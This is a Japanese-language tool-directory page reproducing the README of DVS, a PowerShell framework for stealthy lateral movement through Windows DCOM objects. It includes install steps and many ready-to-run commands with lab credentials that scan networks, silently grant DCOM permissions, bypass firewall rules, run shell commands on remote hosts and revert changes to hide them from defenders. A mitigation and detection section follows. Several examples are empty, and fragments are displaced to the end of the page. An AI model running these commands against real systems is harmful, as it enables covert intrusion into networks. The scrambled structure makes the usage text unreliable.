Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
DVS — D(COM) V(ulnerability) S(canner) 別名 Devious swiss army knife - DCOM オブジェクトを使用した横方向の移動 | Kitploit
ツール/GitHubGitHub/scorpioneslabs/dvs
エクスプロイト横移動ポストエクスプロイトペネトレーションテストコマンド&コントロールレッドチーミング
GitHubscorpioneslabs/dvs

DVS

D(COM) V(ulnerability) S(canner) 別名 Devious swiss army knife - DCOM オブジェクトを使用した横方向の移動

リポジトリを見る
256475年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

D(COM) V(ulnerability) S(canner) 別名「狡猾なスイスアーミーナイフ」 - DCOM オブジェクトを使用した横方向の移動

内部ネットワークを横方向に移動する方法や、EDR に警告を発することなくリモートマシンと対話する方法を考えたことはありますか? 有効な資格情報を持っているか、リモートマシンにアクセスできるアクティブなセッションがあるが、既知、予想、または高度に監視された方法(WMI、タスクスケジューラ、WinRM、PowerShell リモート処理など)でリモートでプロセスを実行する選択肢がないと仮定しましょう。

このようなシナリオでは、DVS フレームワークが救いの手を差し伸べます。

DVS フレームワークはスイスアーミーナイフであり、リモート DCOM オブジェクトの脆弱な関数を列挙し、それらを起動し、さらにはそれらを使用して攻撃を開始することができます。

このフレームワークは「レッドチーム」の考え方で開発されており、ステルスな方法を使用してリモートマシンを侵害します。

DVS フレームワークには、DCOM に対するリモートの堅牢化を リモートから 再び有効にし、攻撃ユーザーに必要な権限を自動的に付与することでバイパスするさまざまな方法が含まれています。

また、フレームワークはリモートマシンの変更を攻撃前の元の状態に戻すこともでき、防御側からこれらの変更を隠します。

私たちの主な洞察は、このツールが aqsome テクニック(Invoke-RegisterRemoteSchema について以下を参照)を使用して、脆弱ではない DCOM オブジェクトを介してコマンドを実行できることです。

PowerShell 2.0 以降と互換性あり

YouTube ビデオ PoC: DVS

免責事項

このツールはテストおよび教育目的のみです。このコードのその他の使用は許可されていません。自己責任で使用してください。
作成者は、このツールの誤用によるいかなる責任も負いません。
使用することにより、このツールの使用によって生じた損害に対する責任はすべて利用者にあることを認めたものとします。

レジストリアクセス - DVS フレームワークがそのプロトコルを利用する方法

  • リモートレジストリアクセス(MS-RRP)

    1. ポート 445 を調べてリモートレジストリと対話する
    2. リモートレジストリが有効かどうかを確認する
    3. リモートレジストリと対話する
    4. AutoGrant モードがフラグされている場合、書き込み権限を確認する。それ以外の場合は読み取り権限を確認する
  • 標準レジストリプロバイダー(リモートレジストリが拒否された場合)

    1. ポート 135 を調べて WMI を使用した「標準レジストリプロバイダー」と対話する
    2. StdRegProv にアクセス可能かどうかを確認する
    3. 標準レジストリプロバイダーと対話する
    4. AutoGrant モードがフラグされている場合、書き込み権限を確認する。それ以外の場合は読み取り権限を確認する

このツールはなぜこれほどステルスなのか?

DVS ツールは、まず以下の手順でプリンシパル ID がリモートマシンにアクセスできるかどうかを確認します。

  • 基本アクション

    1. 認証操作(SkipRegAuth がフラグされていない場合)
      1. 資格情報が提供された場合は「ネットオンリー」セッションを作成します。それ以外の場合は現在ログオンしているセッションを使用します。
      2. レジストリアクセスを調べます。
    2. DCOM 機能が有効かどうかを確認します
    3. DCOM アクセスを許可します(AutoGrant がフラグされている場合)、それ以外の場合は失敗します
    4. ログオンしているユーザー/提供されたユーザーとそのユーザーが所属するグループ(adsi/WindowsIdentity 機能を介して)が DCOM との対話を許可されているかどうかを確認します(リモートレジストリクエリを介して)
    5. 権限を付与します(AutoGrant がフラグされている場合)、それ以外の場合は失敗します
    6. NetBIOS over TCP(NetAPI32 または UDP パケットを使用)を使用してリモートマシンからドメイン名を解決します。失敗した場合はレジストリ(HKLM または HKCU ハイブ)を使用して試みます
  • Invoke-DCOMObjectScan

    1. DCOM オブジェクトと対話します
    2. DCOM オブジェクトを列挙し、脆弱な関数を見つけます
    3. 悪用の可能性を検証します
    4. 実行ペイロードを生成します
    5. 脆弱な DCOM オブジェクトに関する個人情報を取得します
  • Get-ExecutionCommand

    1. 実行ペイロードを生成します
  • Invoke-ExecutionCommand

    1. DCOM オブジェクトとの対話を試みます
    2. コマンドを実行します
  • Invoke-RegisterRemoteSchema

ツールのコンポーネント

  • セキュリティ権限分析ツール - リモート DCOM オブジェクトにアクセスするためのプリンシパル ID の権限を分析します
  • リモートアクセス許可 - ログオンユーザーにリモートで権限を付与します(まだ付与されていない場合)
  • DCOM スキャナー - 提供されている脆弱な関数(パターンと関数名を指定する必要があります)についてリモート/ローカル DCOM オブジェクトをスキャンして分析します ツールが脆弱な関数を検出すると、関数に含まれる引数と、その関数がコマンドを実行できるかどうかを確認します
  • DCOM コマンド生成ツール - リモートマシンで実行するための PowerShell ペイロードを生成します
  • レポート - 脆弱な DCOM オブジェクトに関するすべての情報を含む CSV レポートを生成します
  • コマンド実行 - DCOM オブジェクトを介してコマンドを実行します

作成者

  • Nimrod Levy

ライセンス

  • GPL v3

テスト済みシナリオ

  • ドメイン外からドメインへ
  • ドメイン内から別のドメイン参加マシンへ
  • ドメインからドメイン外へ
  • 現在のセッションから別のドメイン参加マシンへ

テスト済みオペレーティングシステム

  • Windows 7 SP1
  • Windows 8.1
  • Windows 10
  • Windows Server 2019

クレジット

  • Rafel Ivgi 氏 - 指導とツールのアーキテクチャの考え方のサポートに感謝します。
  • Yossi Sasi 氏 - スクリプトの最適化の支援に感謝します。
  • Gleb Glazkov 氏 - 緩和策と防止策のセクションの執筆に感謝します。

インストール:

root@kitploit:~
git clone https://github.com/ScorpionesLabs/DVS
powershell -ep bypass
PS> Import-Module .\DVS.psm1
PS> Get-Help Invoke-DCOMObjectScan -Detailed  # Invoke-DCOMObjectScan コマンドの詳細を取得します
PS> Get-Help Get-ExecutionCommand -Detailed # Get-ExecutionCommand コマンドの詳細を取得します
PS> Get-Help Invoke-ExecutionCommand -Detailed # Invoke-ExecutionCommand コマンドの詳細を取得します
PS> Get-Help Invoke-RegisterRemoteSchema -Detailed # Invoke-RegisterRemoteSchema コマンドの詳細を取得します

Invoke-DCOMObjectScan

Invoke-DCOMObjectScan 関数を使用すると、DCOM オブジェクトをスキャンし、ファイルに含めたパターンのリストまたは正確な関数名を介して脆弱な関数を見つけることができます。

  • 例:

    1. DC01 ホスト上の攻撃者マシンから MMC20.Application (ProgID) オブジェクトを列挙してスキャンします。レジストリは照会しません。

      root@kitploit:~
         Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipRegAuth -Username "lab\administrator" -Password "Aa123456!" -Verbose
      

    注: ツールは ACL 権限を分析しません。ツールが成功すると、オブジェクトに関するすべての情報(オブジェクト名、実行可能ファイルなど、レジストリに記載されている詳細を除く)を解決します。

    1. DC01 ホスト上の攻撃者マシンから MMC20.Application (ProgID) オブジェクトにアクセス可能かどうかを、DCOM オブジェクトのアクセスリストを事前に照会および確認せずにチェックします。

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -HostList DC01 -SkipPermissionChecks -CheckAccessOnly -Verbose
      
    2. MMC20.Application (ProgID) が範囲 10.211.55.4/24 を介して適用可能かどうかを検証します。存在する場合、ツールはその情報の列挙を試みます(現在ログオンしているユーザーセッションを使用)。

      root@kitploit:~
         PS> Invoke-DCOMObjectScan -Type Single -ObjectName "MMC20.Application" -Hostlist "10.211.55.4/24" -CheckAccessOnly -Verbose
      

Get-ExecutionCommand

Get-ExecutionCommand 関数を使用すると、リモート DCOM 関数と対話し、関連するパラメータで実行する PowerShell ペイロードを生成できます。

  • 例:
    1. IP アドレス 10.211.55.4 を介して、lab\administrator 資格情報を使用して、プリンシパル ID が {00020812-0000-0000-C000-000000000046} CLSID オブジェクトとの対話を許可されているかどうかを確認し、実行コマンドを生成します。

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "{00020812-0000-0000-C000-000000000046}" -ObjectPath "DDEInitiate" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -Verbose
      
    2. DCOM アクセスを確認します。
      プリンシパル ID に必要な権限がない場合、または DCOM 機能が無効な場合、ツールは DCOM 機能を有効にし、ID アクセスを許可して、lab\administrator 資格情報を使用して IP アドレス 10.211.55.4 を介して MMC20.Application (ProgID) オブジェクトと対話し、実行コマンドを生成します。
      最後に、マシンを攻撃前と同じ状態に戻します。

      root@kitploit:~
         PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -Username "lab\Administrator" -Password "Aa123456!" -AutoGrant -Verbose
      
    3. MMC20.Application (ProgID) オブジェクトと、現在ログオンしているセッションを使用して 範囲を介して対話を試みます。ACL 権限は分析しません。 その後、実行コマンドを生成します。

Invoke-ExecutionCommand

Invoke-ExecutionCommand 関数を使用すると、ログオンユーザーまたは提供された資格情報を使用して DCOM オブジェクトを介してコマンドを実行できます。

  • 例:

    1. DCOM アクセスを確認します。
      プリンシパル ID に必要な権限がない場合、または DCOM 機能が無効な場合、ツールは DCOM 機能を有効にし、アクセスを許可し、MMC20.Application (ProgID) オブジェクトと範囲 10.211.55.1/24 を介して現在ログオンしているユーザーセッションを使用して対話し、以下のコマンドを実行します。

      1. cmd.exe /c calc コマンドを実行します

      2. Frame.Top 属性を 1 に設定します 最後に、マシンを攻撃前と同じ状態に戻します。

        root@kitploit:~
         PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -AutoGrant -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")},@{ObjectPath="Frame.Top";Arguments=@(1)} ) -HostList "10.211.55.1/24" -Verbose
        
    2. lab\administrator 資格情報を使用して IP アドレス 10.211.55.4 を介して MMC20.Application (ProgID) オブジェクトとの対話を試み、以下のコマンドを実行します: cmd.exe /c calc

      root@kitploit:~

Invoke-RegisterRemoteSchema

Invoke-RegisterRemoteSchema 関数を使用すると、ログオンユーザーまたは提供された資格情報を使用して、以下の DCOM オブジェクトを介してコマンドを実行できます:

  • ShellBrowserWindow
  • ShellWindows
  • Internet Explorer
  • ielowutil.exe

注: これらの DCOM オブジェクトはローカルマシンハイブへのアクセスを必要としません。リモートマシンにアクセスできる任意のユーザーで足掛かりを得ることができます。

  • 例:
    1. 現在ログオンしているセッションを使用して、範囲 10.211.55.1/24 上で cmd /c calc コマンドを実行し、必要に応じて権限を付与します

      root@kitploit:~
         PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.1/24" -Command "cmd /c calc" -AutoGrant -Verbose
      
    2. 提供された資格情報を使用して、リモートマシン 10.211.55.4 上で cmd /c calc コマンドを実行します

      root@kitploit:~
         PS> Invoke-RegisterRemoteSchema -HostList "10.211.55.4" -Command "cmd /c calc" -Username "Administrator" -Password "Aa123456!" -Verbose
      

今後の作業

  • ファイアウォールルールのリモート分析と変更

緩和策と推奨事項

MITRE テクニック: T1021.003 - リモートサービス: 分散コンポーネントオブジェクトモデル

防止策

  • リモート DCOM アクセスを無効にする

    • 考慮事項:
      • DCOM に依存するサードパーティ製アプリケーション
      • "Windows Management Instrumentation" を使用したリモートシステム管理が機能しなくなる
      • COM オブジェクトに関する問題の可能性
  • 不要な場合、リモートレジストリアクセスを許可しない

    どちらのオプションも、可用性に影響を与えずにエンタープライズ環境で実装することは困難です。

    それでも、ドメインのリモート管理を必要としないエンドポイント(例: スタンドアロンエンドポイント)には、良い堅牢化オプションになります。

  • Windows Defender ファイアウォールのドメインプロファイルとプライベートプロファイルを有効にする

    • DVS ツールは、任意の動的 RPC 接続を許可するファイアウォールルールを作成することで、このセキュリティ制御をバイパスします
  • LAPS を使用して攻撃対象領域を減らす。ドメイン内の各コンピューターが異なるローカル管理者パスワードを持つ場合、このアカウントを横方向の移動に使用することはできません。

  • ユーザーアクセス権の堅牢化により、この攻撃を防ぐことができます

    • グループポリシーオブジェクトを使用することで、組織は administrators、users、その他のグループをリストから削除し、集中管理用の特別なグループ/ユーザー(他のコンピューターに対話的にログオンしない)に移行できます。

      root@kitploit:~
      [コンピューターの構成\Windows の設定\セキュリティの設定\ローカル ポリシー\ユーザー権利の割り当て\ネットワークからこのコンピューターにアクセス]
      

      公式の堅牢化ガイド(CIS など)では、[ネットワークからこのコンピューターにアクセス] の推奨設定は "administrators と Remote Desktop Users または Authenticated users" です。この推奨事項は DVS ツールに対して脆弱です。

  • administrators の権限を リモート起動 および リモートアクティブ化 の権限から削除して、DCOM 権限を堅牢化します。

    • [コンピューターの構成\Windows の設定\ローカル ポリシー\セキュリティオプション\DCOM]: SDDL 構文でのマシン起動制限
  • ホストベースのファイアウォール/アプリケーション認識ファイアウォールを使用して、コンピューター間の DCOM アクセスをブロックします。特に IT または管理インフラストラクチャの一部ではないコンピューターに対して。

  • アプリケーション制御ルールは、セキュリティ制御の最終ラインとして、脆弱なプロセスが危険な子プロセスを生成したり、DLL をロードしたりするのを防ぐために使用できます。
    例:

    root@kitploit:~
    mmc.exe -> cmd.exe
    explorer.exe -> regsvr.exe
    visio.exe -> wmic.exe
    excel.exe -> Rundll32.exe
    outlook.exe -> cmd.exe
    

検出

  • 以下の場所のレジストリの変更を監視します:

    root@kitploit:~
       [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]
    

    このキーは DCOM のアクセス許可設定です。変更された場合、DVS ツールを使用した攻撃者が堅牢化を解除した可能性があります。

    root@kitploit:~
      [HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
    

    "[HKEY_LOCAL_MACHINE\SOFTWARE\Classes] キーに関連付けられたサブキーとレジストリ値には、COM 機能をサポートするために必要なアプリケーションに関する情報が含まれています。この情報には、サポートされるデータ形式、互換性情報、プログラム識別子、DCOM、コントロールなどのトピックが含まれます。" Microsoft デベロッパーセンターのリファレンス

    root@kitploit:~
      [MACHINE\SOFTWARE\policies\Microsoft\windows NT\DCOM\MachineLaunchRestriction]
    

    このキーの変更は、DVS ツールが DCOM の リモートアクティブ化 および リモート起動 制限を無効にした可能性を示します。

  • アプリケーション認識ファイアウォールを使用して、コンピューター間の DCOM アクセスをブロックします。特に IT または管理インフラストラクチャの一部ではないコンピューターに対して。

  • 侵入防止システム(例: Snort、Suricata)を使用して、RPC(MS-RPC、MS-RPCE)およびリモートレジストリプロトコル(MS-RRP)に基づく DCOM プロトコルを検出できます。

    • 可能な Snort ルール
  • Windows Defender ファイアウォールを監視するには、ドメイン および プライベート プロファイルのブロックされたトラフィックの監査ログを有効にします。

  • 以下のキーの変更を監視します。DVS ツールが Microsoft Defender ファイアウォールの動的 RPC 制限をバイパスするルールを作成した可能性があります。

    root@kitploit:~
      [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
    
  • Windows イベントログを監視します:イベントの監査を有効にします。成功時および失敗時に有効にする必要がある監査設定: 監査アカウント ログオン イベント | 監査ログオン イベント | 監査オブジェクト アクセス | NTLM 監査

このレジストリ キーに移動: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] 値が '1' の新しい DWORD を作成し、ActivationFailureLoggingLevel | CallFailureLoggingLevel | InvalidSecurityDescriptorLoggingLevel と名付けます。

  • 4624 (正常なログオン) - ブルーチームはイベントの相関関係を作成して、リモートマシンから DCOM への接続を検出できます。例:
    • イベント ID 4624 - ログオン
    • アカウント名: SYSTEM
    • プロセス名: C:\Windows\System32\services.exe
  • 4680 (不明なユーザーまたは不正なパスワード) - 誤ったユーザーまたはパスワードを使用した場合に発生します。
  • 4688 (プロセス作成) - 管理ユーザーを使用して危険なサブプロセスを作成する脆弱なプロセスを監視します。例:
    • 作成元プロセス名: C:\Windows\System32\mmc.exe -> 新しいプロセス名: C:\Windows\System32\cmd.exe
    • 作成元プロセス名: C:\Windows\System32\svchost.exe -> 新しいプロセス名: C:\Windows\System32\mmc.exe
  • 8002 (NTLM) - ブロックされる受信 NTLM トラフィックを監査します。例:
    • 呼び出し元プロセス名: C:\Windows\System32\mmc.exe
    • 呼び出し元プロセスのユーザー ID: USER
    • 呼び出し元プロセスのドメイン ID: DOMAIN
  • 8003 (NTLM) - このドメイン内の NTLM 認証を監査します。例:
    • ユーザー: User
    • ドメイン: DOMAIN
    • ワークステーション: ATTACKER
    • プロセス: C:\Windows\System32\mmc.exe / C:\Windows\System32\dllhost.exe / C:\Windows\System32\svchost.exe / C:\Program Files\Internet Explorer\iexplore.exe
    • ログオン タイプ: 3
  • 10010 (Microsoft-Windows-DistributedCOM) - サーバー %1 が必要なタイムアウト内に DCOM に登録しませんでした。
  • 10014 (Microsoft-Windows-DistributedCOM) - COM+ のリモート アクティブ化設定が無効になっているため、CLSID アクティブ化に失敗しました。
  • 10015 (Microsoft-Windows-DistributedCOM) - 権限が不十分なため、DCOM の実行に失敗しました。
  • 10016 (Microsoft-Windows-DistributedCOM) - 権限が不十分なため、DCOM の実行に失敗しました。例:
    • マシンのデフォルトのアクセス許可設定では、CLSID {C2F03A33-21F5-47FA-B4BB-156362A2F239} および APPID {316CDED5-E4AE-4B15-9113-7055D84DCC97} の COM サーバー アプリケーションに対するローカル アクティブ化のアクセス許可がユーザー DOMAIN\Scorpiones に付与されていません。
  • 10021 (Microsoft-Windows-DistributedCOM) - APPID {0000000} の COM サーバー アプリケーションの起動およびアクティブ化のセキュリティ記述子が無効です。
ツールをダウンロード
  1. 以下のいずれかの DCOM オブジェクトとの対話を試みます:
    • InternetExplorer.Application - InternetExplorer COM オブジェクト
    • {D5E8041D-920F-45e9-B8FB-B1DEB82C6E5E} - Internet Explorer に属する別の COM オブジェクト
    • {C08AFD90-F2A1-11D1-8455-00A0C91F3880} - ShellBrowserWindow
    • {9BA05972-F6A8-11CF-A442-00A0C90A8F39} - ShellWindows
  2. リモートスキーマ(例: http://)を登録します
  3. スキーマを構成して、スキーマの内容からコマンドを実行できるようにします
  4. コマンドを実行します
  • CLSID {00020812-0000-0000-C000-000000000046} が IP アドレス 10.211.55.4 を介してオブジェクトとして存在し、アクセス可能かどうかを検証します。存在する場合、ツールはその情報を解決します(lab\administrator 資格情報を使用)。

    root@kitploit:~
       PS> Invoke-DCOMObjectScan -Type Single -ObjectName "{00020812-0000-0000-C000-000000000046}" -Hostlist "10.211.55.4" -CheckAccessOnly -Username "lab\administrator" -Password "Aa123456!" -Verbose   
    
  • 指定されたパス(例: C:\Users\USERNAME\Desktop\DVS\objects.txt)に保存されているすべてのオブジェクトを IP アドレス 10.211.55.4 を介してスキャンし、指定されたファイル(vulnerable.txt など)にある関数リストを lab\administrator 資格情報を使用して見つけます。設定は以下の通り:
    最大深度: 4
    最大結果: 1 (オブジェクトごとに 1 つの結果)
    AutoGrant モード: オブジェクトにアクセスできないか、DCOM 機能が無効な場合、DCOM 機能を有効にし、該当する DCOM オブジェクトに自動的に許可を実行します。
    最後に、マシンを攻撃前と同じ状態に戻します。

    root@kitploit:~
       PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type List -ObjectListFile "C:\Users\USERNAME\Desktop\DVS\objects.txt" -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -AutoGrant -Username "lab\administrator" -Password "Aa123456!" -Hostlist "10.211.55.4" -MaxResults 1 -Verbose
    
  • 10.211.55.1/24 範囲の利用可能なリモートマシンに保存されているすべてのオブジェクトをスキャンし、選択されたファイル(例: C:\Users\USERNAME\Desktop\DVS\vulnerable.txt)のリストから潜在的な脆弱な関数を見つけ、選択されたファイル(例: C:\Users\USERNAME\Desktop\DVS\exclude.txt)のオブジェクトを除外し、同じオブジェクト上の他のルートにある同じ名前のプロパティをスキップします。
    注: SkipSameProperyName フラグは、同じプロパティ名が異なるプリファレンス(メソッド/その他のプロパティ)または異なる深度チェーンを持つ場合、脆弱な関数を見逃す可能性があります。

    root@kitploit:~
       PS> Invoke-DCOMObjectScan -MaxDepth 4 -Type All  -FunctionListFile "C:\Users\USERNAME\Desktop\DVS\vulnerable.txt" -ExcludeFileList "C:\Users\USERNAME\Desktop\DVS\exclude.txt" -Hostlist "10.211.55.1/24" -SkipSameProperyName -Verbose
    
  • 10.211.55.1/24

    root@kitploit:~
       PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.1/24" -SkipPermissionChecks -Verbose
    
  • MMC20.Application (ProgID) オブジェクトと IP アドレス 10.211.55.4 を介して対話を試みます。レジストリは照会しません。

    root@kitploit:~
       PS> Get-ExecutionCommand -ObjectName "MMC20.Application" -ObjectPath "Document.ActiveView.ExecuteShellCommand" -HostList "10.211.55.4" -SkipRegAuth -Verbose
    
  • PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -Username "lab\administrator" -Password "Aa123456!" -Verbose
  • 現在ログオンしているユーザーセッションを使用して MMC20.Application (ProgID) オブジェクトとの対話を試みます。ACL 権限は分析しません。以下のコマンドを実行します: cmd.exe /c calc

    root@kitploit:~
       PS> Invoke-ExecutionCommand -ObjectName "MMC20.Application" -Commands @( @{ObjectPath="Document.ActiveView.ExecuteShellCommand"; Arguments=@('cmd.exe',$null,"/c calc","Minimized")}) -HostList "10.211.55.4" -SkipPermissionChecks -Verbose
    
  • Microsoft の攻撃対象領域の減少ルールを使用して、脆弱なプロセスが危険な子プロセスを生成するのを防ぐことができます。